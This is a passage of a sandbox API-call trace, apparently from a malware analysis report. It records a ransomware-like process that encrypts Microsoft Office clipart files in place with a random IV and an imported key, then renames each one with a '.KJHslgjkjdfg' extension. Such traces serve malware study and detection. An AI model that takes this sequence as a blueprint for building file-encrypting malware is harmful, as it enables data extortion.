lpNewFilePointer=0x0) returned 1 [0188.731] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f10, lpOverlapped=0x0) returned 1 [0188.731] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.732] SetEndOfFile (hFile=0x130) returned 1 [0188.734] GetProcessHeap () returned 0x990000 [0188.735] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.735] GetProcessHeap () returned 0x990000 [0188.735] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.kjhslgjkjdfg")) returned 1 [0188.735] CloseHandle (hObject=0x130) returned 1 [0188.736] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0188.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.736] GetProcessHeap () returned 0x990000 [0188.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.736] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0188.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.738] GetProcessHeap () returned 0x990000 [0188.738] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.738] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.738] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.739] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.739] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.739] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2942, lpOverlapped=0x0) returned 1 [0188.739] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2950, dwBufLen=0x2950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2950) returned 1 [0188.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.740] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2950, lpOverlapped=0x0) returned 1 [0188.740] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.740] SetEndOfFile (hFile=0x130) returned 1 [0188.742] GetProcessHeap () returned 0x990000 [0188.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.742] GetProcessHeap () returned 0x990000 [0188.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.kjhslgjkjdfg")) returned 1 [0188.743] CloseHandle (hObject=0x130) returned 1 [0188.743] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0188.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.744] GetProcessHeap () returned 0x990000 [0188.744] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.744] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.744] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0188.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.746] GetProcessHeap () returned 0x990000 [0188.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.746] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.746] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.746] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.746] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.747] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.747] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.747] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.747] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.747] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12ee, lpOverlapped=0x0) returned 1 [0188.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12f0, dwBufLen=0x12f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12f0) returned 1 [0188.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.748] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12f0, lpOverlapped=0x0) returned 1 [0188.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.748] SetEndOfFile (hFile=0x130) returned 1 [0188.750] GetProcessHeap () returned 0x990000 [0188.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.750] GetProcessHeap () returned 0x990000 [0188.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.kjhslgjkjdfg")) returned 1 [0188.751] CloseHandle (hObject=0x130) returned 1 [0188.751] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0188.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.753] GetProcessHeap () returned 0x990000 [0188.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.753] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.753] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0188.755] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.755] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.755] GetProcessHeap () returned 0x990000 [0188.755] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.755] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.755] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.755] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.756] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.756] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.756] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x45ba, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x45ba, lpOverlapped=0x0) returned 1 [0188.757] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45c0) returned 1 [0188.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.757] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x45c0, lpOverlapped=0x0) returned 1 [0188.757] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.758] SetEndOfFile (hFile=0x130) returned 1 [0188.760] GetProcessHeap () returned 0x990000 [0188.760] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.760] GetProcessHeap () returned 0x990000 [0188.760] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.kjhslgjkjdfg")) returned 1 [0188.761] CloseHandle (hObject=0x130) returned 1 [0188.761] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0188.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.762] GetProcessHeap () returned 0x990000 [0188.762] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.762] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.762] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0188.764] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.764] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.764] GetProcessHeap () returned 0x990000 [0188.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.764] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.764] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.765] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.765] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.765] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.765] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.765] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.765] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2eda, lpOverlapped=0x0) returned 1 [0188.766] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ee0, dwBufLen=0x2ee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ee0) returned 1 [0188.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.766] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2ee0, lpOverlapped=0x0) returned 1 [0188.766] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.766] SetEndOfFile (hFile=0x130) returned 1 [0188.767] GetProcessHeap () returned 0x990000 [0188.767] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.767] GetProcessHeap () returned 0x990000 [0188.768] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.kjhslgjkjdfg")) returned 1 [0188.768] CloseHandle (hObject=0x130) returned 1 [0188.768] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, 